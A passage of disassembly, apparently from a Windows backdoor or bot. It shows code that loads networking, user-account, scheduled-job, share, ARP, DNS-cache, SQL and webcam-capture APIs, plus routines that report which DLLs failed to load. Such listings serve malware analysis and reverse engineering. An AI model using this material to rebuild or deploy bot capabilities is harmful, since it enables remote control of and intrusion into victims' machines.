					; sub_407E65+3AFj ...
		mov	ds:dword_436538, 1


loc_40824C:				; CODE XREF: sub_407E65+3DBj
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi ; sub_4DB076
		cmp	eax, ebx
		mov	ds:dword_436354, eax
		jnz	short loc_408274
		jmp	short loc_40826A
; ---------------------------------------------------------------------------


loc_40825F:				; CODE XREF: sub_407E65+26Aj
		call	ds:dword_42206C	; RtlGetLastWin32Error
		mov	ds:dword_43653C, eax


loc_40826A:				; CODE XREF: sub_407E65+3F8j
		mov	ds:dword_436538, 1


loc_408274:				; CODE XREF: sub_407E65+3F6j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp ; sub_4DAF8C
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_408340
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi ; sub_4DB076
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	ds:dword_436454, eax
		call	esi ; sub_4DB076
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	ds:dword_4364AC, eax
		call	esi ; sub_4DB076
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	ds:dword_4364B4, eax
		call	esi ; sub_4DB076
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	ds:dword_436470, eax
		call	esi ; sub_4DB076
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	ds:dword_436398, eax
		call	esi ; sub_4DB076
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	ds:dword_436344, eax
		call	esi ; sub_4DB076
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	ds:dword_4364B0, eax
		call	esi ; sub_4DB076
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	ds:dword_436330, eax
		call	esi ; sub_4DB076
		cmp	ds:dword_436454, ebx
		mov	ds:dword_4363CC, eax
		jz	short loc_40834B
		cmp	ds:dword_4364AC, ebx
		jz	short loc_40834B
		cmp	ds:dword_4364B4, ebx
		jz	short loc_40834B
		cmp	ds:dword_436470, ebx
		jz	short loc_40834B
		cmp	ds:dword_436398, ebx
		jz	short loc_40834B
		cmp	ds:dword_436344, ebx
		jz	short loc_40834B
		cmp	ds:dword_4364B0, ebx
		jz	short loc_40834B
		cmp	ds:dword_436330, ebx
		jz	short loc_40834B
		cmp	eax, ebx
		jnz	short loc_408355
		jmp	short loc_40834B
; ---------------------------------------------------------------------------


loc_408340:				; CODE XREF: sub_407E65+41Aj
		call	ds:dword_42206C	; RtlGetLastWin32Error
		mov	ds:dword_436544, eax


loc_40834B:				; CODE XREF: sub_407E65+49Bj
					; sub_407E65+4A3j ...
		mov	ds:dword_436540, 1


loc_408355:				; CODE XREF: sub_407E65+4D7j
		mov	ebp, ds:off_4220C0
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp ; sub_4DAE83
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_408611
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi ; sub_4DB076
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	ds:dword_4363E0, eax
		call	esi ; sub_4DB076
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	ds:dword_43650C, eax
		call	esi ; sub_4DB076
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	ds:dword_436384, eax
		call	esi ; sub_4DB076
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	ds:dword_436360, eax
		call	esi ; sub_4DB076
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	ds:dword_436414, eax
		call	esi ; sub_4DB076
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	ds:dword_4363FC, eax
		call	esi ; sub_4DB076
		push	offset aSocket	; "socket"
		push	edi
		mov	ds:dword_4363C8, eax
		call	esi ; sub_4DB076
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	ds:dword_4364E8, eax
		call	esi ; sub_4DB076
		push	offset aConnect	; "connect"
		push	edi
		mov	ds:dword_436504, eax
		call	esi ; sub_4DB076
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	ds:dword_436410, eax
		call	esi ; sub_4DB076
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	ds:dword_4364F4, eax
		call	esi ; sub_4DB076
		push	offset aHtons	; "htons"
		push	edi
		mov	ds:dword_4364A8, eax
		call	esi ; sub_4DB076
		push	offset aHtonl	; "htonl"
		push	edi
		mov	ds:dword_436468, eax
		call	esi ; sub_4DB076
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	ds:dword_436464, eax
		call	esi ; sub_4DB076
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	ds:dword_4363A4, eax
		call	esi ; sub_4DB076
		push	offset aSend	; "send"
		push	edi
		mov	ds:dword_43639C, eax
		call	esi ; sub_4DB076
		push	offset aSendto	; "sendto"
		push	edi
		mov	ds:dword_4364B8, eax
		call	esi ; sub_4DB076
		push	offset aRecv	; "recv"
		push	edi
		mov	ds:dword_4364CC, eax
		call	esi ; sub_4DB076
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	ds:dword_436480, eax
		call	esi ; sub_4DB076
		mov	ds:dword_436440, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi ; sub_4DB076
		push	offset aSelect	; "select"
		push	edi
		mov	ds:dword_436494, eax
		call	esi ; sub_4DB076
		push	offset aListen	; "listen"
		push	edi
		mov	ds:dword_436450, eax
		call	esi ; sub_4DB076
		push	offset aAccept	; "accept"
		push	edi
		mov	ds:dword_436490, eax
		call	esi ; sub_4DB076
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	ds:dword_4364FC, eax
		call	esi ; sub_4DB076
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	ds:dword_436448, eax
		call	esi ; sub_4DB076
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	ds:dword_43640C, eax
		call	esi ; sub_4DB076
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	ds:dword_43647C, eax
		call	esi ; sub_4DB076
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	ds:dword_4364EC, eax
		call	esi ; sub_4DB076
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	ds:dword_436420, eax
		call	esi ; sub_4DB076
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	ds:dword_4363C4, eax
		call	esi ; sub_4DB076
		cmp	ds:dword_4363E0, ebx
		mov	ds:dword_436500, eax
		jz	loc_40861C
		cmp	ds:dword_43650C, ebx
		jz	loc_40861C
		cmp	ds:dword_436384, ebx
		jz	loc_40861C
		cmp	ds:dword_436414, ebx
		jz	loc_40861C
		cmp	ds:dword_4363FC, ebx
		jz	loc_40861C
		cmp	ds:dword_4363C8, ebx
		jz	loc_40861C
		cmp	ds:dword_4364E8, ebx
		jz	loc_40861C
		cmp	ds:dword_436504, ebx
		jz	loc_40861C
		cmp	ds:dword_436410, ebx
		jz	loc_40861C
		cmp	ds:dword_4364F4, ebx
		jz	loc_40861C
		cmp	ds:dword_4364A8, ebx
		jz	loc_40861C
		cmp	ds:dword_436468, ebx
		jz	loc_40861C
		cmp	ds:dword_436464, ebx
		jz	loc_40861C
		cmp	ds:dword_4363A4, ebx
		jz	short loc_40861C
		cmp	ds:dword_4364B8, ebx
		jz	short loc_40861C
		cmp	ds:dword_4364CC, ebx
		jz	short loc_40861C
		cmp	ds:dword_436480, ebx
		jz	short loc_40861C
		cmp	ds:dword_436440, ebx
		jz	short loc_40861C
		cmp	ds:dword_436494, ebx
		jz	short loc_40861C
		cmp	ds:dword_436450, ebx
		jz	short loc_40861C
		cmp	ds:dword_436490, ebx
		jz	short loc_40861C
		cmp	ds:dword_4364FC, ebx
		jz	short loc_40861C
		cmp	ds:dword_436448, ebx
		jz	short loc_40861C
		cmp	ds:dword_43640C, ebx
		jz	short loc_40861C
		cmp	ds:dword_43647C, ebx
		jz	short loc_40861C
		cmp	ds:dword_4364EC, ebx
		jz	short loc_40861C
		cmp	ds:dword_436420, ebx
		jz	short loc_40861C
		cmp	eax, ebx
		jnz	short loc_408626
		jmp	short loc_40861C
; ---------------------------------------------------------------------------


loc_408611:				; CODE XREF: sub_407E65+501j
		call	ds:dword_42206C	; RtlGetLastWin32Error
		mov	ds:dword_43654C, eax


loc_40861C:				; CODE XREF: sub_407E65+6A0j
					; sub_407E65+6ACj ...
		mov	ds:dword_436548, 1


loc_408626:				; CODE XREF: sub_407E65+7A8j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp ; sub_4DAE83
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40872B
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi ; sub_4DB076
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	ds:dword_4363AC, eax
		call	esi ; sub_4DB076
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	ds:dword_436338, eax
		call	esi ; sub_4DB076
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	ds:dword_436430, eax
		call	esi ; sub_4DB076
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	ds:dword_4363E4, eax
		call	esi ; sub_4DB076
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	ds:dword_43643C, eax
		call	esi ; sub_4DB076
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	ds:dword_436400, eax
		call	esi ; sub_4DB076
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	ds:dword_436378, eax
		call	esi ; sub_4DB076
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	ds:dword_436370, eax
		call	esi ; sub_4DB076
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	ds:dword_436380, eax
		call	esi ; sub_4DB076
		cmp	ds:dword_4363AC, ebx
		mov	ecx, ds:dword_436400
		mov	ds:dword_43649C, eax
		jz	short loc_408707
		cmp	ds:dword_436338, ebx
		jz	short loc_408707
		cmp	ds:dword_436430, ebx
		jz	short loc_408707
		cmp	ds:dword_4363E4, ebx
		jz	short loc_408707
		cmp	ds:dword_43643C, ebx
		jz	short loc_408707
		cmp	ecx, ebx
		jz	short loc_408707
		cmp	ds:dword_436378, ebx
		jz	short loc_408707
		cmp	ds:dword_436370, ebx
		jz	short loc_408707
		cmp	ds:dword_436380, ebx
		jz	short loc_408707
		cmp	eax, ebx
		jnz	short loc_408711


loc_408707:				; CODE XREF: sub_407E65+860j
					; sub_407E65+868j ...
		mov	ds:dword_436550, 1


loc_408711:				; CODE XREF: sub_407E65+8A0j
		cmp	ecx, ebx
		jz	short loc_408746
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx	; InternetOpenA
		cmp	eax, ebx
		mov	ds:dword_436418, eax
		jnz	short loc_408746
		jmp	short loc_408740
; ---------------------------------------------------------------------------


loc_40872B:				; CODE XREF: sub_407E65+7CCj
		call	ds:dword_42206C	; RtlGetLastWin32Error
		mov	ds:dword_436554, eax
		mov	ds:dword_436550, 1


loc_408740:				; CODE XREF: sub_407E65+8C4j
		mov	ds:dword_436418, ebx


loc_408746:				; CODE XREF: sub_407E65+8AEj
					; sub_407E65+8C2j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp ; sub_4DAE83
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_408790
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi ; sub_4DB076
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	ds:dword_4363F4, eax
		call	esi ; sub_4DB076
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	ds:dword_436520, eax
		call	esi ; sub_4DB076
		cmp	ds:dword_4363F4, ebx
		mov	ds:dword_43638C, eax
		jz	short loc_40879B
		cmp	ds:dword_436520, ebx
		jz	short loc_40879B
		cmp	eax, ebx
		jnz	short loc_4087A5
		jmp	short loc_40879B
; ---------------------------------------------------------------------------


loc_408790:				; CODE XREF: sub_407E65+8ECj
		call	ds:dword_42206C	; RtlGetLastWin32Error
		mov	ds:dword_43655C, eax


loc_40879B:				; CODE XREF: sub_407E65+91Bj
					; sub_407E65+923j ...
		mov	ds:dword_436558, 1


loc_4087A5:				; CODE XREF: sub_407E65+927j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp ; sub_4DAE83
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40889B
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi ; sub_4DB076
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	ds:dword_436368, eax
		call	esi ; sub_4DB076
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	ds:dword_436340, eax
		call	esi ; sub_4DB076
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	ds:dword_4363B4, eax
		call	esi ; sub_4DB076
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	ds:dword_4363E8, eax
		call	esi ; sub_4DB076
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	ds:dword_4364F8, eax
		call	esi ; sub_4DB076
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	ds:dword_4363A0, eax
		call	esi ; sub_4DB076
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	ds:dword_43634C, eax
		call	esi ; sub_4DB076
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	ds:dword_43633C, eax
		call	esi ; sub_4DB076
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	ds:dword_4363D0, eax
		call	esi ; sub_4DB076
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	ds:dword_4364C0, eax
		call	esi ; sub_4DB076
		cmp	ds:dword_436368, ebx
		mov	ds:dword_436478, eax
		jz	short loc_4088A6
		cmp	ds:dword_436340, ebx
		jz	short loc_4088A6
		cmp	ds:dword_4363B4, ebx
		jz	short loc_4088A6
		cmp	ds:dword_4363E8, ebx
		jz	short loc_4088A6
		cmp	ds:dword_4364F8, ebx
		jz	short loc_4088A6
		cmp	ds:dword_4363A0, ebx
		jz	short loc_4088A6
		cmp	ds:dword_43634C, ebx
		jz	short loc_4088A6
		cmp	ds:dword_43633C, ebx
		jz	short loc_4088A6
		cmp	ds:dword_4363D0, ebx
		jz	short loc_4088A6
		cmp	ds:dword_4364C0, ebx
		jz	short loc_4088A6
		cmp	eax, ebx
		jnz	short loc_4088B0
		jmp	short loc_4088A6
; ---------------------------------------------------------------------------


loc_40889B:				; CODE XREF: sub_407E65+94Bj
		call	ds:dword_42206C	; RtlGetLastWin32Error
		mov	ds:dword_436564, eax


loc_4088A6:				; CODE XREF: sub_407E65+9E6j
					; sub_407E65+9EEj ...
		mov	ds:dword_436560, 1


loc_4088B0:				; CODE XREF: sub_407E65+A32j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp ; sub_4DAE83
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4088E5
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi ; sub_4DB076
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	ds:dword_436390, eax
		call	esi ; sub_4DB076
		cmp	ds:dword_436390, ebx
		mov	ds:dword_436460, eax
		jz	short loc_4088F0
		cmp	eax, ebx
		jnz	short loc_4088FA
		jmp	short loc_4088F0
; ---------------------------------------------------------------------------


loc_4088E5:				; CODE XREF: sub_407E65+A56j
		call	ds:dword_42206C	; RtlGetLastWin32Error
		mov	ds:dword_43656C, eax


loc_4088F0:				; CODE XREF: sub_407E65+A78j
					; sub_407E65+A7Ej
		mov	ds:dword_436568, 1


loc_4088FA:				; CODE XREF: sub_407E65+A7Cj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp ; sub_4DAE83
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40892F
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi ; sub_4DB076
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	ds:dword_4364E4, eax
		call	esi ; sub_4DB076
		cmp	ds:dword_4364E4, ebx
		mov	ds:dword_4364E0, eax
		jz	short loc_40893A
		cmp	eax, ebx
		jnz	short loc_408944
		jmp	short loc_40893A
; ---------------------------------------------------------------------------


loc_40892F:				; CODE XREF: sub_407E65+AA0j
		call	ds:dword_42206C	; RtlGetLastWin32Error
		mov	ds:dword_436574, eax


loc_40893A:				; CODE XREF: sub_407E65+AC2j
					; sub_407E65+AC8j
		mov	ds:dword_436570, 1


loc_408944:				; CODE XREF: sub_407E65+AC6j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp ; sub_4DAE83
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4089A3
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi ; sub_4DB076
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	ds:dword_436510, eax
		call	esi ; sub_4DB076
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	ds:dword_436508, eax
		call	esi ; sub_4DB076
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	ds:dword_4364D0, eax
		call	esi ; sub_4DB076
		cmp	ds:dword_436510, ebx
		mov	ds:dword_4363A8, eax
		jz	short loc_4089AE
		cmp	ds:dword_436508, ebx
		jz	short loc_4089AE
		cmp	ds:dword_4364D0, ebx
		jz	short loc_4089AE
		cmp	eax, ebx
		jnz	short loc_4089B8
		jmp	short loc_4089AE
; ---------------------------------------------------------------------------


loc_4089A3:				; CODE XREF: sub_407E65+AEAj
		call	ds:dword_42206C	; RtlGetLastWin32Error
		mov	ds:dword_43657C, eax


loc_4089AE:				; CODE XREF: sub_407E65+B26j
					; sub_407E65+B2Ej ...
		mov	ds:dword_436578, 1


loc_4089B8:				; CODE XREF: sub_407E65+B3Aj
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp ; sub_4DAE83
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4089ED
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi ; sub_4DB076
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	ds:dword_4363DC, eax
		call	esi ; sub_4DB076
		cmp	ds:dword_4363DC, ebx
		mov	ds:dword_4364DC, eax
		jz	short loc_4089F8
		cmp	eax, ebx
		jnz	short loc_408A02
		jmp	short loc_4089F8
; ---------------------------------------------------------------------------


loc_4089ED:				; CODE XREF: sub_407E65+B5Ej
		call	ds:dword_42206C	; RtlGetLastWin32Error
		mov	ds:dword_436584, eax


loc_4089F8:				; CODE XREF: sub_407E65+B80j
					; sub_407E65+B86j
		mov	ds:dword_436580, 1


loc_408A02:				; CODE XREF: sub_407E65+B84j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp ; sub_4DAE83
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_408A8B
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi ; sub_4DB076
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	ds:dword_4364A4, eax
		call	esi ; sub_4DB076
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	ds:dword_4364F0, eax
		call	esi ; sub_4DB076
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	ds:dword_43642C, eax
		call	esi ; sub_4DB076
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	ds:dword_4363EC, eax
		call	esi ; sub_4DB076
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	ds:dword_436484, eax
		call	esi ; sub_4DB076
		cmp	ds:dword_4364A4, ebx
		mov	ds:dword_4363F8, eax
		jz	short loc_408A96
		cmp	ds:dword_4364F0, ebx
		jz	short loc_408A96
		cmp	ds:dword_43642C, ebx
		jz	short loc_408A96
		cmp	ds:dword_4363EC, ebx
		jz	short loc_408A96
		cmp	ds:dword_436484, ebx
		jz	short loc_408A96
		cmp	eax, ebx
		jnz	short loc_408AA0
		jmp	short loc_408A96
; ---------------------------------------------------------------------------


loc_408A8B:				; CODE XREF: sub_407E65+BA8j
		call	ds:dword_42206C	; RtlGetLastWin32Error
		mov	ds:dword_43658C, eax


loc_408A96:				; CODE XREF: sub_407E65+BFEj
					; sub_407E65+C06j ...
		mov	ds:dword_436588, 1


loc_408AA0:				; CODE XREF: sub_407E65+C22j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp ; sub_4DAE83
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_408AD5
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi ; sub_4DB076
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	ds:dword_4363C0, eax
		call	esi ; sub_4DB076
		cmp	ds:dword_4363C0, ebx
		mov	ds:dword_436498, eax
		jz	short loc_408AE0
		cmp	eax, ebx
		jnz	short loc_408AEA
		jmp	short loc_408AE0
; ---------------------------------------------------------------------------


loc_408AD5:				; CODE XREF: sub_407E65+C46j
		call	ds:dword_42206C	; RtlGetLastWin32Error
		mov	ds:dword_436594, eax


loc_408AE0:				; CODE XREF: sub_407E65+C68j
					; sub_407E65+C6Ej
		mov	ds:dword_436590, 1


loc_408AEA:				; CODE XREF: sub_407E65+C6Cj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_407E65	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408AF2	proc near		; CODE XREF: sub_40D2E0+57D3p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	ds:dword_436528, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_408B3A
		push	ds:dword_43652C
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_415480
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40BAE7
		add	esp, 20h


loc_408B3A:				; CODE XREF: sub_408AF2+1Aj
		cmp	ds:dword_436530, esi
		jz	short loc_408B6E
		push	ds:dword_436534
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_415480
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40BAE7
		add	esp, 20h


loc_408B6E:				; CODE XREF: sub_408AF2+4Ej
		cmp	ds:dword_436538, esi
		jz	short loc_408BA2
		push	ds:dword_43653C
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_415480
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40BAE7
		add	esp, 20h


loc_408BA2:				; CODE XREF: sub_408AF2+82j
		cmp	ds:dword_436540, esi
		jz	short loc_408BD6
		push	ds:dword_436544
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_415480
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40BAE7
		add	esp, 20h


loc_408BD6:				; CODE XREF: sub_408AF2+B6j
		cmp	ds:dword_436548, esi
		jz	short loc_408C0A
		push	ds:dword_43654C
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_415480
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40BAE7
		add	esp, 20h


loc_408C0A:				; CODE XREF: sub_408AF2+EAj
		cmp	ds:dword_436550, esi
		jz	short loc_408C3E
		push	ds:dword_436554
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_415480
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40BAE7
		add	esp, 20h


loc_408C3E:				; CODE XREF: sub_408AF2+11Ej
		cmp	ds:dword_436558, esi
		jz	short loc_408C72
		push	ds:dword_43655C
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_415480
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40BAE7
		add	esp, 20h


loc_408C72:				; CODE XREF: sub_408AF2+152j
		cmp	ds:dword_436560, esi
		jz	short loc_408CA6
		push	ds:dword_436564
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_415480
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40BAE7
		add	esp, 20h


loc_408CA6:				; CODE XREF: sub_408AF2+186j
		cmp	ds:dword_436568, esi
		jz	short loc_408CDA
		push	ds:dword_43656C
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_415480
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40BAE7
		add	esp, 20h


loc_408CDA:				; CODE XREF: sub_408AF2+1BAj
		cmp	ds:dword_436570, esi
		jz	short loc_408D0E
		push	ds:dword_436574
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_415480
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40BAE7
		add	esp, 20h


loc_408D0E:				; CODE XREF: sub_408AF2+1EEj
		cmp	ds:dword_436578, esi
		jz	short loc_408D42
		push	ds:dword_43657C
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_415480
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40BAE7
		add	esp, 20h


loc_408D42:				; CODE XREF: sub_408AF2+222j
		cmp	ds:dword_436580, esi
		jz	short loc_408D76
		push	ds:dword_436584
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_415480
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40BAE7
		add	esp, 20h


loc_408D76:				; CODE XREF: sub_408AF2+256j
		cmp	ds:dword_436588, esi
		jz	short loc_408DAA
		push	ds:dword_43658C
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_415480
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40BAE7
		add	esp, 20h


loc_408DAA:				; CODE XREF: sub_408AF2+28Aj
		cmp	ds:dword_436590, esi
		jz	short loc_408DDE
		push	ds:dword_436594
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_415480
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40BAE7
		add	esp, 20h


loc_408DDE:				; CODE XREF: sub_408AF2+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_428E7C
		push	eax
		call	sub_415480
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_408E0B
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40BAE7
		add	esp, 14h


loc_408E0B:				; CODE XREF: sub_408AF2+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40A5B3
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408AF2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408E1D	proc near		; CODE XREF: sub_40D2E0+C5Ep
					; sub_40D2E0+C92p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_408EA8
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_408EA8
		cmp	[ebp+arg_8], esi
		jz	short loc_408EA8
		cmp	byte ptr [eax],	0
		jz	short loc_408EA8
		push	ebx
		push	edi
		call	sub_42086A
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
